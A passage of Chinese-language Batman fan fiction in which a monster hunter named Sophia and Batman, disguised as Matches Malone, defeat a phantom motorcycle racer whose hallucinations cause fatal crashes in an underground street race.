“还搞个灯带天天闪人眼睛，脑子让杀手鳄踹了一样，怎么能蠢成这样。” “之前不是还有人拿那个低音炮音箱在路上放dj版圣经吗？我还以为耶稣来超度我了。” 那帮飞车党的事大家都心里有数，正经上学的谁不把这帮人当傻逼看，也就在这时一个声音传了出来。 “飞车党最近老实了不少，据说就在郊区飙车玩比赛，最近筹码还不小赢了他们的人能拿五千刀。” “哥们，敢不敢碰一碰让他们那帮混子瞧瞧新车的厉害。” “那还用比，兄弟一定赢。” 大家也知道，把一群男高中生凑到一块，不管是爱因斯坦还是霍金，智商都会快速清零，我头脑一热就跟着冲去了飞车党的地盘报名了那个不知道叫什么名字但是看起来很唬人的比赛现场。 我以为就和那帮不学无术的混子比一比就算了，一眼望去大多都是些支离破碎的马上就能变身成变形金刚去和外星人干架的破车，十个人加在一起都凑不出一套完整的装备，唯一有点讲究的那个人倒是从上到下都显得和这个地方格格不入。 说是营地，这里也就是在高速边的空地上扎了几个帐篷，用来比赛的路段也只不过是一段使用率不高接近废弃的公路，方圆十里除了这帮接近homeless的家伙见不到一个人影。 所以那个人格外显眼，除去身下那辆和兄弟买的那辆同属于川崎旗下的超过五万刀的赛车级别的银色酷炫机车外，那一身量身定制完全贴合皮肤的看不出牌子的皮衣和脑袋上顶着的那个同样酷炫头盔都显示出了这个男人出现在飞车党营地怪异之处。 不了解机车的朋友可能不了解，我换个例子吧，这种怪异不亚于托尼斯塔克，莱克斯卢瑟和布鲁斯韦恩一起在你家楼下的中超买桶装泡面并全程蹲在台阶上吃完甚至没有加个卤蛋。 这画面实在是有点诡异过头了。 前面都是些没意思的挑衅环节，大概内容都是哥们你不行，你不能说哥们不行，哥们就是很行，哥们看你不行，不能说男人不行的垃圾话，听到最后我也不知道哥们到底行不行。 但到了比赛真正开始的时候，那个看起来神秘莫测的高手哥一下子就窜没影了，而哥们的车还没提速，只能吃人家的尾气，输给那哥们就算了，那些比我爸还大的破车也是一个个飞得比超人还快，只留下哥们一个人迷茫。 来都来了，那就骑吧，哥们的哥们都在路边看着呢，直接认输那脸不丢大了。 油门拉满跑了半分钟好不容易赶上了大部队，这个时候怪东西来了。 我敢打赌哥谭边上没有太过陡峭的山，这里美国东海岸的哥谭，哪里来的悬崖峭壁绕山公路，那条公路算不上宽最多也就是同时容纳三辆汽车一起过的程度，那天因为比赛在同一位置足足挤了二十几辆摩托，而高手哥的身影就一直在前方，大家都闷着头往高手哥的方向一路猛冲。 但说实话，那路真的烂的很，拐弯多就算了竟然还都是些急拐弯，哥们凭借新买的车很快穿过人群把那些人甩到了身后，尤其是小风那么一吹那叫一得意，现在只要超过高手哥那我就是飞车党最厉害的人。 这可是一帮人承认你厉害，谁能顶得住。 于是弯越来越多，也越来越陡峭，哥们像是被鬼迷心窍一般还傻愣愣的往前冲，这个时候我脑子里什么都听不见，只记得我要赢我要赢，我要是输了我算什么了，我的人生全都完蛋了。 这个时候，终点就在眼前了，我的脑子里轻飘飘的像是磕了叶子一样，脑子亢奋到差点要从头盖骨里蹦出来，直到我的车轮碾住了一颗掉落的石子彻底失去了平衡。 哥们一下子飞起来了脑袋撞到了山上，好在老老实实戴了重金买的头盔才没把脑袋撞烂，不过我的胳膊上腿上都是擦伤转了好几圈才停下来。 看着一辆辆原本落在后方的摩托轰鸣着绕过我前进，我最初感到了懊悔，明明成功就在眼前为什么就断在这里了呢？ 随后发生的事让那点懊悔彻底从我的脑子里烟消云散。 随着摩托一窝蜂的冲刺，眼前原先定好的终点如同海市蜃楼般消失了，在第一个冲进终点的人撞击发出的巨响后，紧随其后的选手突然从梦中惊醒般企图改变命运，但是在紧张下调整方向的结果要不然是向左落入万丈深渊，要不然向右在时速超过一百八十的情况下撞在山上，要不然和已经撞成肉泥的上个倒霉蛋一起构成肉泥双拼口味。 接下来的不断响彻的巨响始终萦绕在我的耳边，而胆小如鼠的我只能捂着脑袋听那群人一个个在这场无意义的比赛中丧命。 直到救护车终于到达现场，我才有勇气抬头。 只是，这里哪里有什么悬崖峭壁，当我抬起头企图获得救援时，只看到了东倒西歪倒在那条公路两侧受伤严重的年轻人，以及出现在一座山丘上的不过两三米高的因为高速撞击还残留着的混合着血液的肉泥。 而高手哥已经不见踪影。 所以，有人要收哥们这辆摩托吗？受损不严重哥们打骨折处理，原价五千刀的机车只要两千刀你直接骑走哥们还要送你一头盔，保险都没过期绝对划算。 第67章 看完帖子索菲亚得到了几个有用的信息。 第一, 车祸的发生和那位高手哥关系很大，这位不知道具体身份的可能连人都不算的东西掌控了比赛的全部局面，并制造了其中一场惨剧。 第二, 对方疑似拥有空间相关的能力，但也不排除能够制造幻觉的可能，毕竟最后那些伤者都回到了原先的公路上, 但整体来说也算不上好对付。 第三, 两千刀的机车看起来好划算，索菲亚这就激情下单。 打着看车的旗号，索菲亚联系上了那位话格外密的哥们，在一番攀谈后不仅得到了对方的联系方式, 约好了交易的地点, 连哥们之前也在哥谭中学上学马上要去哥谭大学念物理学家里六口人的事都挖了出来。 哥们挺好的, 就是有点太热情了。 索菲亚考虑过和斯蒂芬妮一起去，但斯蒂芬妮决定重返校园，不管怎么样得抽出时间复习落下的功课, 而晚上的夜巡则是一定要进行的常驻项目, 再加上一些蝙蝠侠亲自指定的训练项目, 思来想去让这样一位努力奋斗无论白天夜晚都在用行动把大家卷死的少女抽空陪自己提车显得有点太不人道了。 提姆虽然也是不错的选择，对方也不会拒绝索菲亚的请求, 但是对方比斯蒂芬妮还忙, 白天西装革履在公司开会处理文件, 晚上夜巡前针对弱点进行训练, 再加上入夜之后的夜巡活动，以及夜巡之后需要上交的报告, 哦对提姆偶尔还会帮忙更新那个负责抓取论坛信息的小程序。 一想到这番光是听上去就让人眼前一黑的工作内容只不过是提姆生活中最微不足道的一天, 索菲亚就觉得头皮发麻。 别卷了别卷了。 你们蝙蝠洞没人喜欢睡觉是吗？ 怕不是只有蝙蝠会睡觉吧。 指指点点.jpg 实在害怕身边的朋友和偷情对象（bushi）会猝死的索菲亚干脆自己打车去了约定好的位于哥谭中学对面的快餐店和那位哥们见面。 推门进入的一瞬间, 索菲亚就确定了那位死里逃生的幸运儿的身份，毕竟在整个快餐店里顶着一头五彩缤纷的爆炸头的家伙实在有点太有存在感了。 哥们，有空去游乐园应聘小丑吗？或者去麦当劳当吉祥物？ “你放心车牛逼的很啥事没有就蹭掉点漆，我都补上了。” “你不称呼自己哥们了吗？我还蛮喜欢你这么说话的，威猛暴龙单杀全世界。”索菲亚从餐盘上端起可乐却一口吸上了柠檬籽，不着痕迹的吐到了餐巾纸上包起来扔掉。 “不要在公共场合叫我的网名，有点尴尬。” “没关系，你也可以叫我的网名，老板同事在天堂。” “你要不然还是叫我杰克吧。” 杰克把餐盘里的薯条往索菲亚的方向推了推，脑袋上五颜六色的一团头发随着青年的动作左右摇晃吸引了索菲亚的注意力。 “姐们来吃点，你要是真心想要这价格也好说，对了你到能骑车的年纪了吗？” “当然，不然我买车回去当手办看吗？”索菲亚还在低头吐柠檬籽，觉得自己像只豌豆射手一直吐个不停“不过我对你帖子里说的事有点兴趣，真的这么抓马吗？” “美国人不骗美国，呃，亚洲人，姐们你相信哥们。” 索菲亚埋头在快餐店吃完了自己点的三件套还顺手吃完了五彩杰克的那份薯条，顺利在完成交易的同时打听到了飞车党聚集的具体方位以及加入的流程等细节问题。 其实甚至不能算打听，五彩杰克的表达欲望实在惊人，网络甚至一定程度限制了这位朋友的发挥，对方已经讲到韩国大选了，索菲亚的脑子在获取足够资料后开始自动放空，直到吃完了桌上的最后一根薯条才打断了杰克的脱口秀演出。 五彩杰克虽然话多，但他的这辆车确实不错，虽然比不上布鲁斯那辆，但是作为穷鬼这样的车也够用，最主要的是足够酷炫。 400cc的并列双缸水冷发动机提供了能够支持最高45马力的动力，即使是低转速爆发出的动力也足够在骑车路上遇到逃狱的小丑时把对方撞出去十几米造成半身不遂的效果。 纯黑色的车身在上次事故后有些剐蹭，于是杰克在补漆的时候干脆加了一部分银色上去，让这辆钢铁制成的野兽更增添几分野性和冷酷。 试了试车确定没问题，两人终于完成了这场交易，索菲亚骑车离开就能听到杰克带着哭腔的告别。 “Ninja，离开了我你要幸福要快乐好吗？” “天堂小姐你一定要照顾好她，她是个好姑娘，虽然外表比较冷酷。” “Ninja没了你我怎么活啊，ninja。” 戴着头盔的索菲亚在车上笑得几乎喘不过气，看着后视镜沉浸在自己演出的杰克，甚至想抽出手机录个视频留念，只是单手骑车还是有点嚣张，最终还是放弃了这个念头。 下午四点钟放在学校索菲亚大概率已经在放学路上开始觅食，但是韦恩集团的下班时间得到五点钟，而对于不适用于工会保护的资本家来说，下班的时间更是遥不可及。 将车停在韦恩大厦楼下，索菲亚倚靠在机车上用手机给正在加班的某人发信息。 “嘿哥们，我车停你公司楼下安全吗？” 顺手把自己和新车的合照也发给提姆，画面里光线足够充足，连带着戴头盔的人和机车都在发出的光可以养活一亩地的向日葵。 “？” “挺好，能看出来拍的是人和摩托。” “摩托不好看吗？” “太亮了看不清，我下楼用眼睛看的清楚一点。” 索菲亚无所事事的蹲在路边揪草玩，揪到第八百六十三根的时候就看到了手里抱着西装外套打了领带穿着过于正式的随时可以开六个会的提姆。 “车不错，要带我兜风吗？” “当然了总裁，您的uber司机为您服务，您是想吃饭之后去我家休息呢还是想直接回家吃饭之后继续加班呢？” “怎样都好，带我逃离这个只有加班的地狱吧。” 少年一头扎在索菲亚肩膀上蹭了蹭，原本一丝不苟的发丝有些凌乱，原先那股青涩的海盐味被非常刻板印象的古龙香水取代。 “德雷克先生，还有一部分文件——” “去找布鲁斯，我不干了。” 索菲亚一拧油门将那些烦恼全都抛在身后，少年双手自然环住索菲亚的腰平日清脆的嗓音带着些疲惫和一些少见的甜腻。 “公司能不能明天就爆炸。” “那我今晚去黑市买炸药。” “其实也不用爆炸，让布鲁斯去开会和参加活动就行，我好讨厌西装。” “那我明天去庄园把布鲁斯拖去上班。” “他这几天睡觉时间加起来不到五个小时，猝死的概率比我还大。” “那你去上班。” “我不想去。” “那叫迪克去。” 少年没再说话，从对方的肢体动作里索菲亚判断出提姆还没睡过去只是在闭目养神，也没去把对方的脑袋从自己肩上扒拉走。 他都已经加班加成这样了，让让他吧。 “你那边飞车党的事怎么样？我之前对这个案子有点兴趣但还没抽出空来处理。” “还好，如果那个杰克没说谎，那对方大概率是能够造成幻觉的幽灵，灵魂之类的东西，也不排除是喜欢拿机车玩弄人类性命的恶魔的可能性，但整个过程听起来和恶魔做事的风格不太像。” “如果是恶魔那么整件事的流程里一定会有人类和恶魔定下协议的过程，最差也得是口头协议。而从始至终，那位机车幻影没有和参加比赛的人有任何直接接触。” “不过对方的动机很奇怪，只是为了让参加比赛的人一起失去神智然后在幻觉里出现事故，就算是有所图谋的恶魔也得收点报酬吧，总不能单纯喜欢骑车。至少得有个触发条件吧，是赢他的人得死还是输给他的人得死，但如果是后者那二十多起比赛只有三人死亡，效率是不是有点太低了。” “这么说来飞车党那群组织比赛的家伙应该知道他的身份，他们是同伙吗？还是说那帮人利用机车幻影的这一特色吸引更多人来参加比赛以此敛财？” 索菲亚喋喋不休的讲着自己的猜测，提姆此时睁开了眼睛发出了疑问。 “黑市里改车的车行大多和飞车党关系不错，很多参加比赛的人都会选择在这些地方改车，以及他们参加比赛每个人要交二百刀的报名费，如果按照每场比赛参加人数在三十人的话，飞车党的盈利非常可观，就算付出给胜者的一万刀奖励也能获得远超于成本的利润。” “从我的角度来看飞车党没有主观意义上的犯罪动机，更有可能是巧合构成了目前的结果，也就是飞车党发现了幻影并利用它作为噱头来吸引其他人参加比赛以此牟利，但幻影造成的伤亡事件反而吸引了更多的人来关注甚至参加比赛，这也是飞车党内没有人制止的原因。” 听着对方靠谱得多的分析，索菲亚跟着点头表示完全赞同。 “那我带点圣水十字架过去，实在不行我的魔法估计也够用了。”索菲亚的声音在头盔之下有些失真，但谈及到熟悉领域的自信让那股声音在提姆面前格外清晰“要是顺利我处理完还能一起夜巡。” 第68章 有的人表面云淡风轻, 背地里回家把笔记翻烂了。 提姆还在冰箱里试图找到罐装咖啡的影子，结果只能找到还没开封的果汁，洗好家里几乎没用过的招呼客人的玻璃杯后给自己和索菲亚都倒了一杯。 “斯蒂芬妮不在吗？” “她最近在和芭芭拉组队把我一个人抛下了, 大概率是不爱了。” 索菲亚接过杯子喝了一口。 “橙汁不好喝，下次我们买葡萄汁喝。” “我觉得还好。”提姆弯腰看索菲亚那本足够潦草的笔记“怎么样，找到参考资料了吗？” “当然。”索菲亚对着少年挑眉“我可是哥谭最好的猎魔人。” 虽然笔记里找不到喜欢骑机车的怪物类型, 但类似的形式还真的有, 那就是不管在都市传说还是传统故事里都颇为有名消失的搭车客的故事。 这类故事算不上少见，尤其是在电台午夜节目中，来自观众电话投稿的故事中大多数都有一样的框架，某天开车遇到了要搭车的神秘客人, 但是在一连串诡异事件后, 在即将到达目的地时那位客人就会在车里不翼而飞。 其中最为有名的莫属于发生于法国蒙彼利埃的帕拉瓦的白色妇人, 这个故事的名气也是由于这是唯一一起被欧洲警方正式纪录的故事。 1981年的某天，四个年轻人开车游玩，自蒙彼利埃到帕拉瓦兜风, 在午夜时分回程经过蒙彼利埃的十字路口, 偶遇一位五十岁上下穿着白色雨衣, 头上蒙着白色丝巾的女士，于是年轻人停下车表示愿意载这位女士一程。这位女士上车后坐在后排两位同行的女生之间, 全程没有说话。 当他们途径某个路段时, 经过一个大急弯, 这时那位妇人突然大喊“小心转弯”。负责开车的年轻人被吓了一跳当即停下了车, 就在这时后排响起了两个女生的尖叫声，年轻人回头就看到了原本该坐在两个女生中间的老妇人消失的无影无踪。 大多数灵异爱好者都会认为那位消失的妇人大概率是无心伤害普通人的幽灵, 如果将机车幻影的行为和搭车客的故事进行对比同样能够找到相似之处, 比如其中蕴含着的某种规则。 搭车客幽灵的规则按照搭车, 消失这一简单模式运行进行重复行为，而机车幻影看样子更依赖于比赛的状况，但是它同样没有造成实质伤害，以及因为大多数参赛人员其实并没有真正在赛车上赢过幻影，索菲亚也不能实质上确认对方规则的触发条件。 至少按照爱德华的笔记来看，对付这类遵守规则的幽灵，必须要触发必要的条件才可以通过常规的驱魔方式进行驱除，如果强行用武力手段只怕会得不偿失。 不过爱德华还是记载了一个有趣的魔法，说是魔法也算不上，更多的是猎魔人那边通过草药来从幻觉中保持清醒的秘法。 配方则是生长在被雷电击中过的橡树根旁的清醒蓟加上有辛辣气息能通过气味帮助人清醒的风信子草，配合依附在古老城堡石墙上的带有荧光的苔藓以及铁线莲的根茎中储存的汁液。 这些配方索菲亚光是念出来就觉得胡扯，可是对着提姆报了一遍菜名后，思索片刻的少年给出了肯定的答案。 “B手里有这些东西。” 蝙蝠洞，很神奇吧。 为了以防万一，在罗宾换好制服外出夜巡时，索菲亚也骑着新买的机车去蝙蝠洞拿需要的材料来准备第二天要应对的机车幻影。 索菲亚顺着蝙蝠车的车道进入蝙蝠洞的时候，阿福已经将准备好的材料提前准备好等待猎魔人的到来，蝙蝠洞有些空旷，大概率是因为迪克回到了布鲁德海文而芭芭拉在钟塔待命的原因，此时就只有索菲亚和阿福还在蝙蝠洞内。 “谢谢你阿福。”索菲亚检查了一遍材料确定无误后内心再次扬起对管家的崇拜之情“如果要我自己找的话真的要找好久，光是清醒蓟我就得找上三个月，更别说其他材料了。” “能帮到你我很高兴索菲亚小姐，或许是因为老爷非常喜欢和各种朋友交往，其中不乏擅长魔法的魔法使？”阿福的表情格外和蔼完全看不出会在蝙蝠侠赖床的时候进行一番阴阳怪气的模样“当然你也是非常优秀的猎魔人，只是我猜你还需要一些成长空间。” “也没有很优秀啦。”索菲亚不好意思的挠了挠后脑勺，但没有停下把材料装好的动作“那我先回去了，再见阿福。” “下次见，索菲亚小姐。” 身穿燕尾服的身影一边挥手一边目送少女骑车离开。 “所以您还没有告诉索菲亚小姐您的调查情况吗？”管家转身面对蝙蝠电脑，而那头的人在沉默过后给出了回答。 “她会知道的。” —————————————— 提前在七彩杰克那里得知飞车党聚会场地的索菲亚卡着正式开始前半个小时的时间骑车到达了场地，就像杰克说的，这只不过是在普通的一段高速公路，甚至因为使用较低的原因路面甚至有些坑坑洼洼。 要是开车也就算了，如果是玩机车速度拉满在这里摔一下在不做好防护的情况下真能把脑浆摔出来，但也不至于一下子荒芜到让人以为到了美国西部随时可以拍西部片的地步。 索菲亚没有取下头盔，而是找飞车党被帐篷围在一起的空地上唯一摆起来的那张桌子拿那根马上就要命丧黄泉的写个完整字都困难的水笔在报名单上写下了猎人（hunter）的字样随后从口袋里掏出二百刀拍在桌子上。 “我听说你们这有个高手目前还没输过。” “那是自然，你向四周看看，这一群人都是奔着骑士来的。” 简陋的桌子前只坐着一个满脸痘印的消瘦男人，但语气里都是不客气。 索菲亚随着对方手指的方位看了半天也没找到那个足够特殊的身影，不过骑士这一称呼听起来真的格外幽默，不怕遇到哥谭正统黑暗骑士吗？ “不过他要等比赛要开始了才会出现，平时谁都找不到他。” 索菲亚想尝试从男人嘴里套出更多信息，但是碍于身后不断催促的声音只能暂时打消了念头，转身就要离开的那刻，就看到了站在自己身后的那人。 那是哥谭再常见不过的底层男人，邋遢，颓废，眼神里满是算计和疲惫，佝偻着背让人平白无故让人觉得这人身形不大，索菲亚还是因为离得很近的情况下才准确的估算出男人的身高在一米九上下。 “老约翰，你可不能骗我，只要来跑一把车就能还清我欠的那些钱。” “那是自然，火柴兄弟我骗你做什么，之前的奖金还只是一万刀，自从上次的事故后更多人都因为这事比磕叶子还刺激想加进来，奖金更是提到了五万，你想想这可是五万刀啊，你才欠了三万，还清欠款后你还能再去爽一把，哥们还知道其他几个玩的爽的场子。” 男人不安的搓了搓手，粗糙的手掌上布满厚茧，有些浑浊的灰色眼睛也跟着转来转去，但听着同伴的话眼睛却越来越亮，最后终于拿起笔签下了自己的名字。 索菲亚看清了那个名字——火柴马龙，这名字似乎有些熟悉，但是记性不好的猎魔人一时之间也想不起在哪里听过这个名字，只当是巧合才在这里遇到这男人。 就在索非亚看不到的地方，男人原本萎缩不安的眼神突然变得锐利直直的注视着戴着头盔的少女前往人群的身影渐渐远去，随后又恢复成那个窝囊的火柴马龙该有的样子不情不愿地说着奉承人的话。 时间还没到索菲亚干脆在人群里闲逛，扫视过去大多数还是些改装过后外形效果大概率大于实际功率的不知道几手车。 但也没杰克说的都是老车的地步，甚至有几辆和川崎差不多价位用来比赛的仿赛车，装备也完善了不少，也就是报名那位说的被骑士吸引来的喜欢追求刺激不要命的家伙。 那群人聚在一起说着全是违禁词的只包括繁殖和羞辱意义的垃圾话，至少一眼望去光从发型来看不少人都是gcpd的常客，要是现在打电话把GCPD摇过来把在场的人全部带走，估计都冤枉不了几个人。 在比赛还有三分钟开始时，骑士突然出现在赛场上，和杰克说的一样，一身定制皮衣，高配头盔，但摩托的型号倒被索菲亚认了出来，虽然经过改装但是独特的外壳大概率是杜卡迪旗下的Desmosedici GP系列，但非人类的车手使用的机车内部是不是现实存在的构造索菲亚也不敢断言。 毕竟这点机车知识全靠前一天恶补，不然按照索菲亚的知识储备只能说出，对方骑的不是电动车这样荒谬的话来。 看向骑士的视线并非只有索菲亚，在骑士出场的那刻起，场上就响起来了此起彼伏的欢呼声，显然一位能够获得绝对胜利，甚至能让对手殒命的致命骑手完全戳到了这帮子机车爱好者的□□上。 而飞车党内终于有人站了出来解释比赛规则，也算不上麻烦，率先完成130公里的里程数，谁先到终点谁就是冠军，非常简单易懂的规则。 而索菲亚将做好的药草团提前塞到了舌头下防止进入幻觉，足够辛辣清爽的味道让猎魔人在头盔里忍不住露出痛苦面具，但还是咬着牙忍了下去。 而就在这时，比赛开始了。 第69章 杰克说的确实没错, 川崎的提速需要些时间，半分钟内以一百三十的时速远远不到极限，但也足够索菲亚从人群里挤出一条路来将一部分人甩在身后。 甩开那些臃肿的大部队之后, 想要冲到前几位却算不上容易，首先经过一轮筛选能够冲在前面十五几个人的设备在配置上不分上下，除非是蝙蝠摩托那种速度能够轻松冲上二百的怪物, 大多数拉满也就是在一百九左右。 考虑到还没进入幻境前就已经出现的多次急转弯就使得大多数选手不敢一下子将速度拉到极致。 这就给了索菲亚发挥的机会, 作为有多年杀手经验以及义警经验的猎魔人，对于平衡能力有着足够的信心。 在其他选手选择缓慢提速的方式来留出反应的时间不同，天生热爱冒险和刺激的猎魔人一口气把起步时一百三的速度拉到了惊人的一百五，又快速的飙升至一百八的速度。 在这种速度下, 没有受过训练的普通人类在眼前毫无障碍的情况下被会受到大脑因为过度刺激而不自觉生出的恐惧的影响, 更不必说之前所提到的这条路算不上平坦。 因为缺少维护而出现的大大小小的坑足够让一部分选手重重摔倒, 速度低的话或许只是受些轻伤，但像是猎魔人一样不要命的速度下大概率要分头行动。 快速改变方向向外圈行驶，在急转弯处一个角度刁钻到几乎可以把脸蹭在地上的压弯超过眼前唯一的人类选手后, 索菲亚终于透过头盔看到了骑士的影子。 骑士刻意和第二名保持着不远不近的距离, 给人一种只要加速就能够追上的错觉, 但是过程里如果把注意力全都放在骑士身上，或许才是进入陷阱的第一步。 口中的辛辣味道突然唤醒了猎魔人的神智, 索菲亚环顾四周, 发现场景果然发生了变化从人迹罕至的哥谭郊区一下转移到了杰克所说的环山公路上, 危险程度骤然提升。 骑士身下那辆黑色杜卡迪载着它在转弯处留下一个身影, 索菲亚加足马力继续向前方冲去。 狂风在耳边呼啸，即使头盔隔绝了大部分声音, 但那种如同咆哮一样让人厌烦的声音依旧将索菲亚和身下的车所包裹, 更加离谱的是, 眼前则开始出现了迷雾。 一开始迷雾完全不影响可视度，索菲亚甚至能看清路上每一颗正在滚落的石子，出现在幻境里的花花草草，以及悬崖下平静的湖水。 随着速度的提升迷雾越变越大，几乎将周围全都笼罩进去，如果不是经过半成品药剂改良过的势力，索菲亚恐怕已经摔下悬崖喂鱼去了。 而骑士黑色的身影则永远保持着固定的距离出现在索菲亚眼前。 拐弯越来越多，在不减速的情况下全靠一把蛮力过弯大大消耗了索菲亚的体力，就算是头大象带着168千克的仿赛机车连过几十个弯也得趴下，更何况索菲亚还没到能够媲美大象的地步。 汗水几乎浸湿了身上穿的机车服，索菲亚敢说要是摘下头盔，自己能倒出半个头盔的水来。 又是一个急弯，这条本该只有一百三十公里赛道似乎永远没有尽头，骑士的身影像是永远缀在天空中的某颗星星一般，怎么追都是徒劳。 索菲亚的意识开始随着体力不支而开始恍惚，就在余光扫过机车的轮胎之下，索菲亚的眼睛骤然放大。 脚下的道路都已经消失不见，而是永远不可能出现在现实的满是鲜血和残*肢的如同地狱一般的场景，火焰在脚下燃烧，雷电在耳边劈下仿佛上天随时要降下神罚，在一片不断滚动的岩浆里，还能听到无数还活着的人痛苦的哀嚎。 索菲亚几乎能感受到能够烧穿靴子的那股滚烫，而抬起头骑士似乎停了下来，在又一个转弯处看手下败将是如何沦落到精神崩溃的地步。 就在这时，索菲亚意识到始终萦绕在自己口腔里那股味道竟然消失了，那种像是同时吃了一管芥末的刺激味道都被幻觉所蒙蔽，可以想象出幻觉的可怕，而这个过程索菲亚竟然没意识到陷入了新的幻觉。 意识到进入下一层幻境的索菲亚咬破了自己的舌尖，随后腾出左手将另一片压缩好的药草塞进嘴里。 比浓缩芥末还要刺激几倍的药草将索菲亚的神智立马唤回，此时她终于回到了熟悉的环山公路上，而骑士和索菲亚之间的距离则比进入幻觉前更近了几分。 还能再快，我可以的。 只差一点了，马上就能抓住那家伙。 只差一点！ 再快一点！ 再快！ 索菲亚几乎伸手就能抓住骑士，也在这时变故突发，在猎魔人的眼前突然出现了一道不过两米距离远的岩壁，按照目前两百加的速度就算是猎魔人也得撞得血肉模糊。 来不及有多余想法，求生欲之下猎魔人当机立断松开了油门向一旁跳车而逃。 天旋地转下索菲亚下意识调整好落地的动作防止伤到重要器官恢复困难，却在余光里看到深处的一只手，那只带着茧子却足够宽厚有力的手。 索菲亚伸出手抓住了那只手，在巨大的冲击下手的主人依旧能保持高速的情况下保持平衡，索菲亚借力翻上了对方机车的后座，身后那辆还保持着高速的ninja终于撞上了岩壁发出一声巨响。 破破旧旧的看不出型号的二十手摩托车此时的速度快的惊人，索菲亚摔倒前有不低于二百的速度，也就是说这辆车至少要比这个速度还要快才能及时把索菲亚拉上来，而哥谭目前能到达这个速度的机车，索菲亚除了那辆漆黑的蝙蝠摩托想不出其他答案。 那个怪异的名字，蝙蝠摩托，对索菲亚及时救援的行为，只凭借这几点火柴马龙的身份呼之欲出。 “对方擅长搞幻觉，然后再将人拉回现实赌的就是对方来不及反应，而且离它越近幻觉越深。” “我知道。” “一般幽灵都需要遵循一定规则，但目前只摸索出输给它的结果，我在想是不是赢过它就可以造成伤害了。” “交给我。” 原本颓废的男人收起了对外的伪装全神贯注的把精力放在了行驶上，索菲亚眼看骑士的身影越来越近，开始在火柴马龙身上找点属于蝙蝠侠的神奇小道具。 “带微型炸弹的蝙蝠镖在左边口袋。” 顺利摸走了蝙蝠镖时，骑士和终点都近在眼前。 不需要对话，在超越骑士越线的那一秒，两人极度有默契的一同选择跳车，用钩爪枪固定周围足够陡峭的岩壁将自己荡到了骑士前方。索菲亚朝着骑士掷出蝙蝠镖，在几声“滴滴”声中黑色的蝙蝠镖原地爆炸将未到终点的骑士结结实实挨了一下。 蝙蝠侠则落在了骑士机车的后座用臂弯狠狠勒住了骑士的脖颈，并用力将骑士从机车上扔了下来。 索菲亚把摘下的头盔扔在一边，黑色的发丝几乎全都被汗水浸透还在往下滴水，但这不影响少女从机车服里将挂在脖子上的木制十字架掏出来进行驱魔。 “幽暗赛道的徘徊者，以引擎轰鸣为诱饵的亡魂 —— 你以刺激为饵，诱捕那些与死亡共舞的灵魂， 让他们在幻梦中冲向毁灭，灵魂随□□一起消亡在尘土之间。 这里不是你取乐之处，你带来的死亡今日就会终结。” 索菲亚一把扯下骑士脑袋上的头盔决定进行最后的补刀，却发现脖子之上什么也没有，愣了一秒的猎魔人立马扯下十字架，将被削的极其锋利的那头扎穿了亡魂的心脏。 随着嘶吼声，那身皮衣慢慢瘪了下去，再也看不出一丝曾经将整个赛场的人都玩在手心里的鬼魂的影子来。 攒着一口气完成后续流程的索菲亚一时脱力重重的跌坐在地上，而在身后那些在幻境里不知道去了哪里的车终于冲了出来，一个接着一个的冲过了终点。 “等会奖金的五万刀能分我一万吗？我刚买的车出了车祸了，保险估计赔不了。” “你可以去我的车库里随便挑一辆。”火柴马龙完全失去了作为社会底层人的朴素，举手投足都透露出资本家的富有。 “蝙蝠摩托？” “除了蝙蝠摩托。” 索菲亚毫不在乎形象的躺在地上，把回去之后把自己洗干净有多难这个问题交给了之后的自己，仰天突然笑了起来。 “你好酷啊火柴马龙先生，我知道为什么提姆那么喜欢你了。” “他也很喜欢你不是吗？”一向严肃的男人难得放松了下来甚至有空打趣两个年轻人的情感问题“迪克开了个盘赌你俩多久复合。” “你赌了哪边？”听到没听过的消息索菲亚坐了起来。 “你可以猜猜看。”男人对着索菲亚挑眉，那双钢蓝色的眼睛里都是戏谑“我只能透露赌约是一个月的家务。” 索菲亚看着蝙蝠侠（火柴马龙限定版）将骑士唯一留下的头盔和机车服收纳之后，扶起了机车，屁颠屁颠的跟了上去。 “载我一程，我的车坏了。” “当然可以猎魔人小姐，我的荣幸。” 索菲亚跨上车调整好座位，拿出手机拍下火柴马龙和自己骑车的画面发给正在夜巡的提姆。 “蝙蝠侠骑车带我，扣1让你坐车前面。” “？” 第70章 快乐总是很短暂的, 在零元购韦恩车库的幸运机车的同时，索菲亚总是要付出一点什么，比如这次行动的报告。 平日里连作业都是能混就混的猎魔人第一次体验到顶着蝙蝠侠的压力之下工作的紧张感。 最可怕的是, 整个蝙蝠洞安静的可怕，大家都有自己的事做，这种情况下手边放着泡好的热可可, 右手边是阿福端来的小甜饼, 就算再怎么没良心的人面对这种情况都得多少做一点工作吧。 我真傻，真的。 我只知道夜巡会遇到蝙蝠侠所以特地不去夜巡。 没想到连猎魔的事他也管还被逮个正着。 这次报告连混都不好混。 可是，他让我在车库随便挑诶。 被万恶资本家的糖衣炮弹打的找不着北，并且在蝙蝠洞连吃带拿的猎魔人终于愿意把精力放在了撰写报告上, 身旁是负责做后勤的阿福以及从蝙蝠电脑传来的斯蒂芬妮在夜巡路上呜哇乱叫的动静。 比赛结束后, 索菲亚和还没变回本体的火柴马龙重新回到了飞车党的聚集地, 这群平日里在哥谭胡作非为的家伙见到幽灵一样不可被战胜的骑士被这两个名不见经传的家伙手下彻底消失，终于意识到踢了铁板。 那位满脸痘印的兄弟还勉强有几分哥谭人桀骜不驯的特质，挥舞着拳头就要冲上来, 这位可能还略微带些脑子知道拿把十字架就能把骑士捅个对穿的索菲亚不算什么好对付的软柿子, 特地选了另一位在报名时就看起来窝窝囊囊的哥谭普通市民火柴马龙下手。 只是那只拳头还没来得及碰到对方的皮肤, 就感受到一阵剧痛自手臂传来，随之而来的便是一股足够踹断人腿骨的刺痛。 “啊！” “我想知道关于骑士的事。” 口头上有点礼貌的蝙蝠侠手下却没一点放松, 轻松将对方的胳膊掰成了脱臼, 顺着蝙蝠侠动作顺便补了一脚的索菲亚还没用力就看到对方痛哭流涕的跪在地上几乎要给穿着朴素的蝙蝠侠磕上两个响头。 “我说, 我说。” 伴随着男人带着哭声的叙述中, 索菲亚弄清楚了大概的情况。 骑士的出现就在去年的圣诞节时分，那时飞车党因为猖獗的犯罪行为被二代罗宾打的满地乱爬, 只能含泪放弃了在哥谭的大街小巷骑车炫耀的行为, 只能把阵地全都搬去了郊外在这段在哥谭人记忆里几乎要消失殆尽的废弃公路上骑个爽。 那时, 